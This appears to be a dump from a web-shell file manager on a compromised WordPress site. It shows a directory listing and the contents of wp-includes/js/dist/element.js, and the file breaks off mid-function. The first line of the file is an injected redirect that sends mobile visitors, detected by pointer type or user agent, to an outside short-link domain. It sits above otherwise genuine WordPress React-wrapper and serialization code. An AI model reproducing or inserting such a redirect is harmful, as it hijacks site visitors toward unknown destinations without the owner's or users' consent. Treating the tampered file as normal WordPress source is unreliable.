at path:ROOT / wp-includes / js / dist / element.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄element.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2"use strict";
3var wp;
4(wp ||= {}).element = (() => {
5 var __create = Object.create;
6 var __defProp = Object.defineProperty;
7 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
8 var __getOwnPropNames = Object.getOwnPropertyNames;
9 var __getProtoOf = Object.getPrototypeOf;
10 var __hasOwnProp = Object.prototype.hasOwnProperty;
11 var __commonJS = (cb, mod) => function __require() {
12 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
13 };
14 var __export = (target, all) => {
15 for (var name in all)
16 __defProp(target, name, { get: all[name], enumerable: true });
17 };
18 var __copyProps = (to, from, except, desc) => {
19 if (from && typeof from === "object" || typeof from === "function") {
20 for (let key of __getOwnPropNames(from))
21 if (!__hasOwnProp.call(to, key) && key !== except)
22 __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
23 }
24 return to;
25 };
26 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
27 // If the importer is in node compatibility mode or this is not an ESM
28 // file that has been converted to a CommonJS file using a Babel-
29 // compatible transform (i.e. "__esModule" has not been set), then set
30 // "default" to the CommonJS "module.exports" for node compatibility.
31 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
32 mod
33 ));
34 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
35
36 // vendor-external:react
37 var require_react = __commonJS({
38 "vendor-external:react"(exports, module) {
39 module.exports = window.React;
40 }
41 });
42
43 // vendor-external:react-dom
44 var require_react_dom = __commonJS({
45 "vendor-external:react-dom"(exports, module) {
46 module.exports = window.ReactDOM;
47 }
48 });
49
50 // node_modules/react-dom/client.js
51 var require_client = __commonJS({
52 "node_modules/react-dom/client.js"(exports) {
53 "use strict";
54 var m = require_react_dom();
55 if (false) {
56 exports.createRoot = m.createRoot;
57 exports.hydrateRoot = m.hydrateRoot;
58 } else {
59 i = m.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;
60 exports.createRoot = function(c, o) {
61 i.usingClientEntryPoint = true;
62 try {
63 return m.createRoot(c, o);
64 } finally {
65 i.usingClientEntryPoint = false;
66 }
67 };
68 exports.hydrateRoot = function(c, h, o) {
69 i.usingClientEntryPoint = true;
70 try {
71 return m.hydrateRoot(c, h, o);
72 } finally {
73 i.usingClientEntryPoint = false;
74 }
75 };
76 }
77 var i;
78 }
79 });
80
81 // package-external:@wordpress/escape-html
82 var require_escape_html = __commonJS({
83 "package-external:@wordpress/escape-html"(exports, module) {
84 module.exports = window.wp.escapeHtml;
85 }
86 });
87
88 // packages/element/build-module/index.mjs
89 var index_exports = {};
90 __export(index_exports, {
91 Children: () => import_react.Children,
92 Component: () => import_react.Component,
93 Fragment: () => import_react.Fragment,
94 Platform: () => platform_default,
95 PureComponent: () => import_react.PureComponent,
96 RawHTML: () => RawHTML,
97 StrictMode: () => import_react.StrictMode,
98 Suspense: () => import_react.Suspense,
99 cloneElement: () => import_react.cloneElement,
100 concatChildren: () => concatChildren,
101 createContext: () => import_react.createContext,
102 createElement: () => import_react.createElement,
103 createInterpolateElement: () => create_interpolate_element_default,
104 createPortal: () => import_react_dom.createPortal,
105 createRef: () => import_react.createRef,
106 createRoot: () => import_client.createRoot,
107 findDOMNode: () => import_react_dom.findDOMNode,
108 flushSync: () => import_react_dom.flushSync,
109 forwardRef: () => import_react.forwardRef,
110 hydrate: () => import_react_dom.hydrate,
111 hydrateRoot: () => import_client.hydrateRoot,
112 isEmptyElement: () => isEmptyElement,
113 isValidElement: () => import_react.isValidElement,
114 lazy: () => import_react.lazy,
115 memo: () => import_react.memo,
116 render: () => import_react_dom.render,
117 renderToString: () => serialize_default,
118 startTransition: () => import_react.startTransition,
119 switchChildrenNodeName: () => switchChildrenNodeName,
120 unmountComponentAtNode: () => import_react_dom.unmountComponentAtNode,
121 useCallback: () => import_react.useCallback,
122 useContext: () => import_react.useContext,
123 useDebugValue: () => import_react.useDebugValue,
124 useDeferredValue: () => import_react.useDeferredValue,
125 useEffect: () => import_react.useEffect,
126 useId: () => import_react.useId,
127 useImperativeHandle: () => import_react.useImperativeHandle,
128 useInsertionEffect: () => import_react.useInsertionEffect,
129 useLayoutEffect: () => import_react.useLayoutEffect,
130 useMemo: () => import_react.useMemo,
131 useReducer: () => import_react.useReducer,
132 useRef: () => import_react.useRef,
133 useState: () => import_react.useState,
134 useSyncExternalStore: () => import_react.useSyncExternalStore,
135 useTransition: () => import_react.useTransition
136 });
137
138 // packages/element/build-module/react.mjs
139 var import_react = __toESM(require_react(), 1);
140 function concatChildren(...childrenArguments) {
141 return childrenArguments.reduce(
142 (accumulator, children, i) => {
143 import_react.Children.forEach(children, (child, j) => {
144 if ((0, import_react.isValidElement)(child) && typeof child !== "string") {
145 child = (0, import_react.cloneElement)(child, {
146 key: [i, j].join()
147 });
148 }
149 accumulator.push(child);
150 });
151 return accumulator;
152 },
153 []
154 );
155 }
156 function switchChildrenNodeName(children, nodeName) {
157 return children && import_react.Children.map(children, (elt, index) => {
158 if (typeof elt?.valueOf() === "string") {
159 return (0, import_react.createElement)(nodeName, { key: index }, elt);
160 }
161 if (!(0, import_react.isValidElement)(elt)) {
162 return elt;
163 }
164 const { children: childrenProp, ...props } = elt.props;
165 return (0, import_react.createElement)(
166 nodeName,
167 { key: index, ...props },
168 childrenProp
169 );
170 });
171 }
172
173 // packages/element/build-module/create-interpolate-element.mjs
174 var indoc;
175 var offset;
176 var output;
177 var stack;
178 var tokenizer = /<(\/)?(\w+)\s*(\/)?>/g;
179 function createFrame(element, tokenStart, tokenLength, prevOffset, leadingTextStart) {
180 return {
181 element,
182 tokenStart,
183 tokenLength,
184 prevOffset,
185 leadingTextStart,
186 children: []
187 };
188 }
189 var createInterpolateElement = (interpolatedString, conversionMap) => {
190 indoc = interpolatedString;
191 offset = 0;
192 output = [];
193 stack = [];
194 tokenizer.lastIndex = 0;
195 if (!isValidConversionMap(conversionMap)) {
196 throw new TypeError(
197 "The conversionMap provided is not valid. It must be an object with values that are React Elements"
198 );
199 }
200 do {
201 } while (proceed(conversionMap));
202 return (0, import_react.createElement)(import_react.Fragment, null, ...output);
203 };
204 var isValidConversionMap = (conversionMap) => {
205 const isObject2 = typeof conversionMap === "object" && conversionMap !== null;
206 const values = isObject2 && Object.values(conversionMap);
207 return isObject2 && values.length > 0 && values.every((element) => (0, import_react.isValidElement)(element));
208 };
209 function proceed(conversionMap) {
210 const next = nextToken();
211 const [tokenType, name, startOffset, tokenLength] = next;
212 const stackDepth = stack.length;
213 const leadingTextStart = startOffset > offset ? offset : null;
214 if (name && !conversionMap[name]) {
215 addText();
216 return false;
217 }
218 switch (tokenType) {
219 case "no-more-tokens":
220 if (stackDepth !== 0) {
221 const { leadingTextStart: stackLeadingText, tokenStart } = stack.pop();
222 output.push(indoc.substr(stackLeadingText, tokenStart));
223 }
224 addText();
225 return false;
226 case "self-closed":
227 if (0 === stackDepth) {
228 if (null !== leadingTextStart) {
229 output.push(
230 indoc.substr(
231 leadingTextStart,
232 startOffset - leadingTextStart
233 )
234 );
235 }
236 output.push(conversionMap[name]);
237 offset = startOffset + tokenLength;
238 return true;
239 }
240 addChild(
241 createFrame(conversionMap[name], startOffset, tokenLength)
242 );
243 offset = startOffset + tokenLength;
244 return true;
245 case "opener":
246 stack.push(
247 createFrame(
248 conversionMap[name],
249 startOffset,
250 tokenLength,
251 startOffset + tokenLength,
252 leadingTextStart
253 )
254 );
255 offset = startOffset + tokenLength;
256 return true;
257 case "closer":
258 if (1 === stackDepth) {
259 closeOuterElement(startOffset);
260 offset = startOffset + tokenLength;
261 return true;
262 }
263 const stackTop = stack.pop();
264 const text = indoc.substr(
265 stackTop.prevOffset,
266 startOffset - stackTop.prevOffset
267 );
268 stackTop.children.push(text);
269 stackTop.prevOffset = startOffset + tokenLength;
270 const frame = createFrame(
271 stackTop.element,
272 stackTop.tokenStart,
273 stackTop.tokenLength,
274 startOffset + tokenLength
275 );
276 frame.children = stackTop.children;
277 addChild(frame);
278 offset = startOffset + tokenLength;
279 return true;
280 default:
281 addText();
282 return false;
283 }
284 }
285 function nextToken() {
286 const matches = tokenizer.exec(indoc);
287 if (null === matches) {
288 return ["no-more-tokens"];
289 }
290 const startedAt = matches.index;
291 const [match, isClosing, name, isSelfClosed] = matches;
292 const length = match.length;
293 if (isSelfClosed) {
294 return ["self-closed", name, startedAt, length];
295 }
296 if (isClosing) {
297 return ["closer", name, startedAt, length];
298 }
299 return ["opener", name, startedAt, length];
300 }
301 function addText() {
302 const length = indoc.length - offset;
303 if (0 === length) {
304 return;
305 }
306 output.push(indoc.substr(offset, length));
307 }
308 function addChild(frame) {
309 const { element, tokenStart, tokenLength, prevOffset, children } = frame;
310 const parent = stack[stack.length - 1];
311 const text = indoc.substr(
312 parent.prevOffset,
313 tokenStart - parent.prevOffset
314 );
315 if (text) {
316 parent.children.push(text);
317 }
318 parent.children.push((0, import_react.cloneElement)(element, null, ...children));
319 parent.prevOffset = prevOffset ? prevOffset : tokenStart + tokenLength;
320 }
321 function closeOuterElement(endOffset) {
322 const { element, leadingTextStart, prevOffset, tokenStart, children } = stack.pop();
323 const text = endOffset ? indoc.substr(prevOffset, endOffset - prevOffset) : indoc.substr(prevOffset);
324 if (text) {
325 children.push(text);
326 }
327 if (null !== leadingTextStart) {
328 output.push(
329 indoc.substr(leadingTextStart, tokenStart - leadingTextStart)
330 );
331 }
332 output.push((0, import_react.cloneElement)(element, null, ...children));
333 }
334 var create_interpolate_element_default = createInterpolateElement;
335
336 // packages/element/build-module/react-platform.mjs
337 var import_react_dom = __toESM(require_react_dom(), 1);
338 var import_client = __toESM(require_client(), 1);
339
340 // packages/element/build-module/utils.mjs
341 var isEmptyElement = (element) => {
342 if (typeof element === "number") {
343 return false;
344 }
345 if (typeof element?.valueOf() === "string" || Array.isArray(element)) {
346 return !element.length;
347 }
348 return !element;
349 };
350
351 // packages/element/build-module/platform.mjs
352 var Platform = {
353 /** Platform identifier. Will always be `'web'` in this module. */
354 OS: "web",
355 /**
356 * Select a value based on the platform.
357 *
358 * @template T
359 * @param spec - Object with optional platform-specific values.
360 * @return The selected value.
361 */
362 select(spec) {
363 return "web" in spec ? spec.web : spec.default;
364 },
365 /** Whether the platform is web */
366 isWeb: true
367 };
368 var platform_default = Platform;
369
370 // node_modules/is-plain-object/dist/is-plain-object.mjs
371 function isObject(o) {
372 return Object.prototype.toString.call(o) === "[object Object]";
373 }
374 function isPlainObject(o) {
375 var ctor, prot;
376 if (isObject(o) === false) return false;
377 ctor = o.constructor;
378 if (ctor === void 0) return true;
379 prot = ctor.prototype;
380 if (isObject(prot) === false) return false;
381 if (prot.hasOwnProperty("isPrototypeOf") === false) {
382 return false;
383 }
384 return true;
385 }
386
387 // node_modules/tslib/tslib.es6.mjs
388 var __assign = function() {
389 __assign = Object.assign || function __assign2(t) {
390 for (var s, i = 1, n = arguments.length; i < n; i++) {
391 s = arguments[i];
392 for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) t[p] = s[p];
393 }
394 return t;
395 };
396 return __assign.apply(this, arguments);
397 };
398
399 // node_modules/lower-case/dist.es2015/index.js
400 function lowerCase(str) {
401 return str.toLowerCase();
402 }
403
404 // node_modules/no-case/dist.es2015/index.js
405 var DEFAULT_SPLIT_REGEXP = [/([a-z0-9])([A-Z])/g, /([A-Z])([A-Z][a-z])/g];
406 var DEFAULT_STRIP_REGEXP = /[^A-Z0-9]+/gi;
407 function noCase(input, options) {
408 if (options === void 0) {
409 options = {};
410 }
411 var _a = options.splitRegexp, splitRegexp = _a === void 0 ? DEFAULT_SPLIT_REGEXP : _a, _b = options.stripRegexp, stripRegexp = _b === void 0 ? DEFAULT_STRIP_REGEXP : _b, _c = options.transform, transform = _c === void 0 ? lowerCase : _c, _d = options.delimiter, delimiter = _d === void 0 ? " " : _d;
412 var result = replace(replace(input, splitRegexp, "$1\0$2"), stripRegexp, "\0");
413 var start = 0;
414 var end = result.length;
415 while (result.charAt(start) === "\0")
416 start++;
417 while (result.charAt(end - 1) === "\0")
418 end--;
419 return result.slice(start, end).split("\0").map(transform).join(delimiter);
420 }
421 function replace(input, re, value) {
422 if (re instanceof RegExp)
423 return input.replace(re, value);
424 return re.reduce(function(input2, re2) {
425 return input2.replace(re2, value);
426 }, input);
427 }
428
429 // node_modules/dot-case/dist.es2015/index.js
430 function dotCase(input, options) {
431 if (options === void 0) {
432 options = {};
433 }
434 return noCase(input, __assign({ delimiter: "." }, options));
435 }
436
437 // node_modules/param-case/dist.es2015/index.js
438 function paramCase(input, options) {
439 if (options === void 0) {
440 options = {};
441 }
442 return dotCase(input, __assign({ delimiter: "-" }, options));
443 }
444
445 // packages/element/build-module/serialize.mjs
446 var import_escape_html = __toESM(require_escape_html(), 1);
447
448 // packages/element/build-module/raw-html.mjs
449 function RawHTML({ children, ...props }) {
450 let rawHtml = "";
451 import_react.Children.toArray(children).forEach((child) => {
452 if (typeof child === "string" && child.trim() !== "") {
453 rawHtml += child;
454 }
455 });
456 return (0, import_react.createElement)("div", {
457 dangerouslySetInnerHTML: { __html: rawHtml },
458 ...props
459 });
460 }
461
462 // packages/element/build-module/serialize.mjs
463 var Context = (0, import_react.createContext)(void 0);
464 Context.displayName = "ElementContext";
465 var { Provider, Consumer } = Context;
466 var ForwardRef = (0, import_react.forwardRef)(() => {
467 return null;
468 });
469 var ATTRIBUTES_TYPES = /* @__PURE__ */ new Set(["string", "boolean", "number"]);
470 var SELF_CLOSING_TAGS = /* @__PURE__ */ new Set([
471 "area",
472 "base",
473 "br",
474 "col",
475 "command",
476 "embed",
477 "hr",
478 "img",
479 "input",
480 "keygen",
481 "link",
482 "meta",
483 "param",
484 "source",
485 "track",
486 "wbr"
487 ]);
488 var BOOLEAN_ATTRIBUTES = /* @__PURE__ */ new Set([
489 "allowfullscreen",
490 "allowpaymentrequest",
491 "allowusermedia",
492 "async",
493 "autofocus",
494 "autoplay",
495 "checked",
496 "controls",
497 "default",
498 "defer",
499 "disabled",
500 "download",
501 "formnovalidate",
502 "hidden",
503 "ismap",
504 "itemscope",
505 "loop",
506 "multiple",
507 "muted",
508 "nomodule",
509 "novalidate",
510 "open",
511 "playsinline",
512 "readonly",
513 "required",
514 "reversed",
515 "selected",
516 "typemustmatch"
517 ]);
518 var ENUMERATED_ATTRIBUTES = /* @__PURE__ */ new Set([
519 "autocapitalize",
520 "autocomplete",
521 "charset",
522 "contenteditable",
523 "crossorigin",
524 "decoding",
525 "dir",
526 "draggable",
527 "enctype",
528 "formenctype",
529 "formmethod",
530 "http-equiv",
531 "inputmode",
532 "kind",
533 "method",
534 "preload",
535 "scope",
536 "shape",
537 "spellcheck",
538 "translate",
539 "type",
540 "wrap"
541 ]);
542 var CSS_PROPERTIES_SUPPORTS_UNITLESS = /* @__PURE__ */ new Set([
543 "animation",
544 "animationIterationCount",
545 "baselineShift",
546 "borderImageOutset",
547 "borderImageSlice",
548 "borderImageWidth",
549 "columnCount",
550 "cx",
551 "cy",
552 "fillOpacity",
553 "flexGrow",
554 "flexShrink",
555 "floodOpacity",
556 "fontWeight",
557 "gridColumnEnd",
558 "gridColumnStart",
559 "gridRowEnd",
560 "gridRowStart",
561 "lineHeight",
562 "opacity",
563 "order",
564 "orphans",
565 "r",
566 "rx",
567 "ry",
568 "shapeImageThreshold",
569 "stopOpacity",
570 "strokeDasharray",
571 "strokeDashoffset",
572 "strokeMiterlimit",
573 "strokeOpacity",
574 "strokeWidth",
575 "tabSize",
576 "widows",
577 "x",
578 "y",
579 "zIndex",
580 "zoom"
581 ]);
582 function hasPrefix(string, prefixes) {
583 return prefixes.some((prefix) => string.indexOf(prefix) === 0);
584 }
585 function isInternalAttribute(attribute) {
586 return "key" === attribute || "children" === attribute;
587 }
588 function getNormalAttributeValue(attribute, value) {
589 switch (attribute) {
590 case "style":
591 return renderStyle(value);
592 }
593 return value;
594 }
595 var SVG_ATTRIBUTE_WITH_DASHES_LIST = [
596 "accentHeight",
597 "alignmentBaseline",
598 "arabicForm",
599 "baselineShift",
600 "capHeight",
601 "clipPath",
602 "clipRule",
603 "colorInterpolation",
604 "colorInterpolationFilters",
605 "colorProfile",
606 "colorRendering",
607 "dominantBaseline",
608 "enableBackground",
609 "fillOpacity",
610 "fillRule",
611 "floodColor",
612 "floodOpacity",
613 "fontFamily",
614 "fontSize",
615 "fontSizeAdjust",
616 "fontStretch",
617 "fontStyle",
618 "fontVariant",
619 "fontWeight",
620 "glyphName",
621 "glyphOrientationHorizontal",
622 "glyphOrientationVertical",
623 "horizAdvX",
624 "horizOriginX",
625 "imageRendering",
626 "letterSpacing",
627 "lightingColor",
628 "markerEnd",
629 "markerMid",
630 "markerStart",
631 "overlinePosition",
632 "overlineThickness",
633 "paintOrder",
634 "panose1",
635 "pointerEvents",
636 "renderingIntent",
637 "shapeRendering",
638 "stopColor",
639 "stopOpacity",
640 "strikethroughPosition",
641 "strikethroughThickness",
642 "strokeDasharray",
643 "strokeDashoffset",
644 "strokeLinecap",
645 "strokeLinejoin",
646 "strokeMiterlimit",
647 "strokeOpacity",
648 "strokeWidth",
649 "textAnchor",
650 "textDecoration",
651 "textRendering",
652 "underlinePosition",
653 "underlineThickness",
654 "unicodeBidi",
655 "unicodeRange",
656 "unitsPerEm",
657 "vAlphabetic",
658 "vHanging",
659 "vIdeographic",
660 "vMathematical",
661 "vectorEffect",
662 "vertAdvY",
663 "vertOriginX",
664 "vertOriginY",
665 "wordSpacing",
666 "writingMode",
667 "xmlnsXlink",
668 "xHeight"
669 ].reduce(
670 (map, attribute) => {
671 map[attribute.toLowerCase()] = attribute;
672 return map;
673 },
674 {}
675 );
676 var CASE_SENSITIVE_SVG_ATTRIBUTES = [
677 "allowReorder",
678 "attributeName",
679 "attributeType",
680 "autoReverse",
681 "baseFrequency",
682 "baseProfile",
683 "calcMode",
684 "clipPathUnits",
685 "contentScriptType",
686 "contentStyleType",
687 "diffuseConstant",
688 "edgeMode",
689 "externalResourcesRequired",
690 "filterRes",
691 "filterUnits",
692 "glyphRef",
693 "gradientTransform",
694 "gradientUnits",
695 "kernelMatrix",
696 "kernelUnitLength",
697 "keyPoints",
698 "keySplines",
699 "keyTimes",
700 "lengthAdjust",
701 "limitingConeAngle",
702 "markerHeight",
703 "markerUnits",
704 "markerWidth",
705 "maskContentUnits",
706 "maskUnits",
707 "numOctaves",
708 "pathLength",
709 "patternContentUnits",
710 "patternTransform",
711 "patternUnits",
712 "pointsAtX",
713 "pointsAtY",
714 "pointsAtZ",
715 "preserveAlpha",
716 "preserveAspectRatio",
717 "primitiveUnits",
718 "refX",
719 "refY",
720 "repeatCount",
721 "repeatDur",
722 "requiredExtensions",
723 "requiredFeatures",
724 "specularConstant",
725 "specularExponent",
726 "spreadMethod",
727 "startOffset",
728 "stdDeviation",
729 "stitchTiles",
730 "suppressContentEditableWarning",
731 "suppressHydrationWarning",
732 "surfaceScale",
733 "systemLanguage",
734 "tableValues",
735 "targetX",
736 "targetY",
737 "textLength",
738 "viewBox",
739 "viewTarget",
740 "xChannelSelector",
741 "yChannelSelector"
742 ].reduce(
743 (map, attribute) => {
744 map[attribute.toLowerCase()] = attribute;
745 return map;
746 },
747 {}
748 );
749 var SVG_ATTRIBUTES_WITH_COLONS = [
750 "xlink:actuate",
751 "xlink:arcrole",
752 "xlink:href",
753 "xlink:role",
754 "xlink:show",
755 "xlink:title",
756 "xlink:type",
757 "xml:base",
758 "xml:lang",
759 "xml:space",
760 "xmlns:xlink"
761 ].reduce(
762 (map, attribute) => {
763 map[attribute.replace(":", "").toLowerCase()] = attribute;
764 return map;
765 },
766 {}
767 );
768 function getNormalAttributeName(attribute) {
769 switch (attribute) {
770 case "htmlFor":
771 return "for";
772 case "className":
773 return "class";
774 }
775 const attributeLowerCase = attribute.toLowerCase();
776 if (CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase]) {
777 return CASE_SENSITIVE_SVG_ATTRIBUTES[attributeLowerCase];
778 } else if (SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]) {
779 return paramCase(
780 SVG_ATTRIBUTE_WITH_DASHES_LIST[attributeLowerCase]
781 );
782 } else if (SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase]) {
783 return SVG_ATTRIBUTES_WITH_COLONS[attributeLowerCase];
784 }
785 return attributeLowerCase;
786 }
787 function getNormalStylePropertyName(property) {
788 if (property.startsWith("--")) {
789 return property;
790 }
791 if (hasPrefix(property, ["ms", "O", "Moz", "Webkit"])) {
792 return "-" + paramCase(property);
793 }
794 return paramCase(property);
795 }
796 function getNormalStylePropertyValue(property, value) {
797 if (typeof value === "number" && 0 !== value && !hasPrefix(property, ["--"]) && !CSS_PROPERTIES_SUPPORTS_UNITLESS.has(property)) {
798 return value + "px";
799 }
800 return value;
801 }
802 function renderElement(element, context, legacyContext = {}) {
803 if (null === element || void 0 === element || false === element) {
804 return "";
805 }
806 if (Array.isArray(element)) {
807 return renderChildren(element, context, legacyContext);
808 }
809 switch (typeof element) {
810 case "string":
811 return (0, import_escape_html.escapeHTML)(element);
812 case "number":
813 return element.toString();
814 }
815 const { type, props } = element;
816 switch (type) {
817 case import_react.StrictMode:
818 case import_react.Fragment:
819 return renderChildren(props.children, context, legacyContext);
820 case RawHTML:
821 const { children, ...wrapperProps } = props;
822 return renderNativeComponent(
823 !Object.keys(wrapperProps).length ? null : "div",
824 {
825 ...wrapperProps,
826 dangerouslySetInnerHTML: { __html: children }
827 },
828 context,
829 legacyContext
830 );
831 }
832 switch (typeof type) {
833 case "string":
834 return renderNativeComponent(type, props, context, legacyContext);
835 case "function":
836 if (type.prototype && typeof type.prototype.render === "function") {
837 return renderComponent(type, props, context, legacyContext);
838 }
839 return renderElement(
840 type(props, legacyContext),
841 context,
842 legacyContext
843 );
844 }
845 switch (type && type.$$typeof) {
846 case Provider.$$typeof:
847 return renderChildren(props.children, props.value, legacyContext);
848 case Consumer.$$typeof:
849 return renderElement(
850 props.children(context || type._currentValue),
851 context,
852 legacyContext
853 );
854 case ForwardRef.$$typeof:
855 return renderElement(
856 type.render(props),
857 context,
858 legacyContext
859 );
860 }
861 return "";
862 }
863 function renderNativeComponent(type, props, context, legacyContext = {}) {
864 let content = "";
865 if (type === "textarea" && props.hasOwnProperty("value")) {
866 content = renderChildren(props.value, context, legacyContext);
867 const { value, ...restProps } = props;
868 props = restProps;
869 } else if (props.dangerouslySetInnerHTML && typeof props.dangerouslySetInnerHTML.__html === "string") {
870 content = props.dangerouslySetInnerHTML.__html;
871 } else if (typeof props.children !== "undefined") {
872 content = renderChildren(props.children, context, legacyContext);
873 }
874 if (!type) {
